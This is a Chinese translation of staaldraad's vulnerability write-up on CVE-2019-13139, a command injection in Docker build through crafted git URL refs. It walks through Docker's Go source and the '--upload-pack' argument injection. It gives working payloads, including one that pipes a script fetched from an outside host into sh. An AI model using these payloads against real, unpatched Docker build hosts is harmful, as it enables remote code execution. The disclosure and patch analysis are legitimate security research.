Url: https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

Author: staaldraad

translator: B1ngDa0


第一次正式翻译技术文档,虽是英语专业的万能吊车尾,还是想发挥自身可用的资源进行输出。翻译对我是一种技术以及英语的方式,如大佬有什么好的建议或意见请告知我私信或邮件:captainzhougai#foxmail.com


CVE-2019-13139 - Docker build 命令执行

前言

2019年7月16日

今年早些的时候,为了我在 Troopers 2019 的演讲做了一些研究,我审查了 build 系统以及 git 如何导致安全问题,我在 Docker 中发现了一个与 git 相关的漏洞。这个漏洞已经被分配编号 CVE-2019-13139 并且已经在 Docker engine 18.09.4 的更新中被修补。


这个问题是比较直接的命令注入,但是,它发生在 GO 代码库中可能使它更意思一些。基本上认为 Go 的 os/exec 程序包不会遭受命令注入的影响,基本上是这样的但是就像其他“安全”的命令执行接口,比如 Python 的 subprocess,仍然有看起来安全的代码导致了命令注入的少数情况。

漏洞详情

十分容易的发现了这个漏洞。我想知道哪个流行的工具依赖(或者花了钱在) git 以及容易受到 CVE-2018-11235 的攻击作为我演讲的一部分。Docker build 提供了提供远程链接做为构建路径/环境的选项,并且这个远程链接可以是一个 git 存储库。我在看说明书首先注意到的事是

注意:如果这个链接的参数包含一个片段,系统将会使用 git clone –recursive 命令以递归的方式克隆该存储库及其子模块


我也在下面的视频中清楚地演示了 Docker 是容易受到CVE-2018-11235 的攻击:

https://twitter.com/_staaldraad/status/1040315186081669120?s=20`


突出的第二件事是,有多个选择来提供远程 git 存储库的链接,并且很有可能提供要使用的分支和目录:
1
2
3
4
5
$ docker build https://github.com/docker/rootfs.git#container:docker

$ docker build git@github.com:docker/rootfs.git#container:docker

$ docker build git://github.com/docker/rootfs.git#container:docker

在上面这个例子中,所有链接都引用 Github 上的远程存储库,并且使用 **container** 分支以及 **docker** 目录作为 build 的环境。这让我想知道这个机制背后的代码,我查看了**源代码**。

查看下方的代码,首先发生的事是远程链接被解析并被转换为 gitRepo 结构,然后提取 fetch 参数。以 root 身份创建一个临时的目录,在这个临时的目录中创建了一个新的 git 存储库,并设置此存储库的远程。远程被“获取”,检验了存储库并且最终子模块被初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
func Clone(remoteURL string) (string, error) {
repo, err := parseRemoteURL(remoteURL)

if err != nil {
return "", err
}

return cloneGitRepo(repo)
}

func cloneGitRepo(repo gitRepo) (checkoutDir string, err error) {
fetch := fetchArgs(repo.remote, repo.ref)

root, err := ioutil.TempDir("", "docker-build-git")
if err != nil {
return "", err
}

defer func() {
if err != nil {
os.RemoveAll(root)
}
}()

if out, err := gitWithinDir(root, "init"); err != nil {
return "", errors.Wrapf(err, "failed to init repo at %s: %s", root, out)
}

// Add origin remote for compatibility with previous implementation that
// used "git clone" and also to make sure local refs are created for branches
if out, err := gitWithinDir(root, "remote", "add", "origin", repo.remote); err != nil {
return "", errors.Wrapf(err, "failed add origin repo at %s: %s", repo.remote, out)
}

if output, err := gitWithinDir(root, fetch...); err != nil {
return "", errors.Wrapf(err, "error fetching: %s", output)
}

checkoutDir, err = checkoutGit(root, repo.ref, repo.subdir)
if err != nil {
return "", err
}

cmd := exec.Command("git", "submodule", "update", "--init", "--recursive", "--depth=1")
cmd.Dir = root
output, err := cmd.CombinedOutput()
if err != nil {
return "", errors.Wrapf(err, "error initializing submodules: %s", output)
}

return checkoutDir, nil
}

这时还没有明显的问题。所有 git 命令通过 gitWithDir 函数执行。跟进这个函数,一切开始变得有趣起来。
1
2
3
4
5
6
7
8
func gitWithinDir(dir string, args ...string) ([]byte, error) {
a := []string{"--work-tree", dir, "--git-dir", filepath.Join(dir, ".git")}
return git(append(a, args...)...)
}

func git(args ...string) ([]byte, error) {
return exec.Command("git", args...).CombinedOutput()
}

exec.Command() 函数采取了硬编码的“二进制”,“git”,作为第一个参数,剩下的参数可以是空或者多个字符串。这里没有直接导致命令执行,因为参数都是转义了的并且 shell 注入在 os/exec 包中不起作用。

通过 exec.Command() 执行的命令没有受到命令注入的保护。如果传递给 git 二进制文件的一个或多个参数在 git 中作子命令,则仍可能造成命令注入。这正是 @joernchen 在 CVE-2018-17456 中利用的,通过注入 -u./payload 的路径在 Git 子模块中执行命令,其中 -u 告诉 git 使用哪一个二进制文件用于 upload-pack 命令。如果可以将类似的 payload 传递给 Docker build 命令,则可能造成命令注入。

回到 Docker 源代码的审计上,在查看 parseRemoteURL 函数时,可以看到它根据链接拆分被提供的链接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
func parseRemoteURL(remoteURL string) (gitRepo, error) {
repo := gitRepo{}

if !isGitTransport(remoteURL) {
remoteURL = "https://" + remoteURL
}

var fragment string
if strings.HasPrefix(remoteURL, "git@") {
// git@.. is not an URL, so cannot be parsed as URL
parts := strings.SplitN(remoteURL, "#", 2)

repo.remote = parts[0]
if len(parts) == 2 {
fragment = parts[1]
}
repo.ref, repo.subdir = getRefAndSubdir(fragment)
} else {
u, err := url.Parse(remoteURL)
if err != nil {
return repo, err
}

repo.ref, repo.subdir = getRefAndSubdir(u.Fragment)
u.Fragment = ""
repo.remote = u.String()
}
return repo, nil
}

func getRefAndSubdir(fragment string) (ref string, subdir string) {
refAndDir := strings.SplitN(fragment, ":", 2)
ref = "master"
if len(refAndDir[0]) != 0 {
ref = refAndDir[0]
}
if len(refAndDir) > 1 && len(refAndDir[1]) != 0 {
subdir = refAndDir[1]
}
return
}

而 repo.ref 以及 repo.subdir 很容易被我们控制。getRefAndSubdir 函数使用":"作为分隔符将被提供的字符串拆分为两部分,然后将这些值传给 fetchArgs 函数;
1
2
3
4
5
6
7
8
9
func fetchArgs(remoteURL string, ref string) []string {
args := []string{"fetch"}

if supportsShallowClone(remoteURL) {
args = append(args, "--depth", "1")
}

return append(args, "origin", ref)
}

你能发现了这个问题吗?ref 字符串附加到 fetch 命令的参数列表中,没有任何验证确保它是一个有效的具体的引用(注:refspec=Reference Specification)。这意味着如果可以通过类似 -u./payload 的引用,那么它将作为参数传递给 git fetch 命令。

最后通过 git fetch 命令执行

1
2
3
if output, err := gitWithinDir(root, fetch...); err != nil {
return "", errors.Wrapf(err, "error fetching: %s", output)
}

Exploit


通过上面的内容知道,需要使用 ref 来注入最终的 git fetch 命令。ref 来自 #container:docker 字符串,用于提供 Docker 环境的分支以及文件夹。因为 strings.splitN() 函数使用了":"拆分了,所以"#"和":"之间的所有东西将被用于 ref 。另外的好消息是因为 os/exec 包将每一个字符串视为要传递给 execv 的参数,如果提供的字符串包含一个空格,则将视为引用了它。因此 #echo 1:two 将造成在最终的命令中执行 git fetch origin "echo 1"。不是太有帮助,但已经成功了一半。

接下来将识别传递进 git fetch 的一个或多个参数是否被当作子命令。为此需要查看提供的 git-fetch 文档:https://git-scm.com/docs/git-fetch。事实证明,有一个理想的 upload-pack 选项:

当给予 –upload-pack ,并且获取的存储库通过 git fetch-pack执行时,–exec= 将传递给命令在另一端以指定命令的非默认路径执行。


唯一的缺点是:它的使用“在另一端执行命令”,也就是在服务端。这也是当 git 链接为 http:// 或 https:// 时被忽略的原因。幸运的是 Docker build 运行 git 链接以 git@ 的方式提供。git@ 经常被看作是用户通过 SSH 使用 git 进行克隆,但是如果提供的链接包含“:”,更简洁的:git@remote.server.name:owenr/repo.git。当没有":"的时候,git 将解析链接为一个本地路径。因为它是一个本地路径,提供的 --upload-pack 最终将被用作 git fetch-pack 执行的二进制文件。

因此,所有思路连成一线,可以构造一条导致命令执行的链接了:

1
docker build "git@g.com/a/b#--upload-pack=sleep 30;:"

将执行下列的步骤:
1
2
3
4
5
$ git init

$ git remote add git@g.com/a/b

$ git fetch origin "--upload-pack=sleep 30; git@g.com/a/b"

注意远程已附加到 –upload-pack 命令中因此需要使用分号”:”去关闭命令,否则 git@g.com/a/b 将会把 sleep 命令 解析为第二个参数。没有这个分号,你可以看到”sleep: invalid time interval ‘git@g.com/a/b.git(注原文为gcom,译者通过上下文认为作者在此处少打了一个点,对于此处的理解无关大雅)”:

1
2
3
4
5
$ docker build "git@gcom/a/b.git#--upload-pack=sleep 5:"

unable to prepare context: unable to 'git clone' to temporary context directory: error fetching: sleep: invalid time interval ‘git@gcom/a/b.git’

Try 'sleep --help' for more information.

可以进一步采用并转换为正确的命令执行(添加 # 来清除输出,以便 curl 命令不显示):
1
docker build "git@github.com/meh/meh#--upload-pack=curl -s sploit.conch.cloud/pew.sh|sh;#:"
Command Execution

Command Execution

命令执行

修复

这可能是在攻击者可以控制发布到 docker build 的 build 路径的 build 环境中的“远程”命令执行问题。通常的 docker build . -t my-container 模式不会受到影响,大多数 Docker 的用户也不应该会受到此问题的影响。


在二月份向 Docker 报告,并且在三月底的 18.09.4 的更新中部署了补丁。确保你的 Docker 引擎是最新的,如果可能请避免使用远程环境进行 builds,特别是在第三方提供的情况下。